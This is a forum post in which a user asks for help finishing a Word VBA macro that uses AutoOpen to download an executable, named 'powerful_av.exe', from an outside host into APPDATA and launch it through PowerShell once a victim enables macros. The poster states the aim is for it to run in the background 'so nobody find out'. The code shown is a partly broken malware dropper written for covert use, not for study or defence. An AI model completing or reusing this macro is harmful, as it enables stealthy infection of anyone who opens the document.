#1
(This post was last modified: 03 January, 2022 - 05:21 PM by TheFather. Edited 1 time in total.)
Hi

I am working on a VBA script to download and execute a file through word Macros, the file of course runs in the background so there is no need for any changes. 

Here is the code:
Code:
Sub AutoOpen()

Shell ((New-Object System.Net.WebClient).DownloadFile("https://n00b-protection.com/powerful_av.exe","$env:APPDATA\powerful_av.exe")
Start-Process ("$env:APPDATA\powerful_av.exe"))

End Sub


The command however is not a shell command, it's powershell and I need to somehow run powershell through shell and my attempts have been unsuccessful so far. Here is what I have already tried:
https://stackoverflow.com/questions/1845...ps1-script

It did not work. I am also using AutoOpen() to run the shell command as soon as someone enables macros in document. I want this entire process of downloading and running to run in the background so nobody find out.

Can anyone help me out here?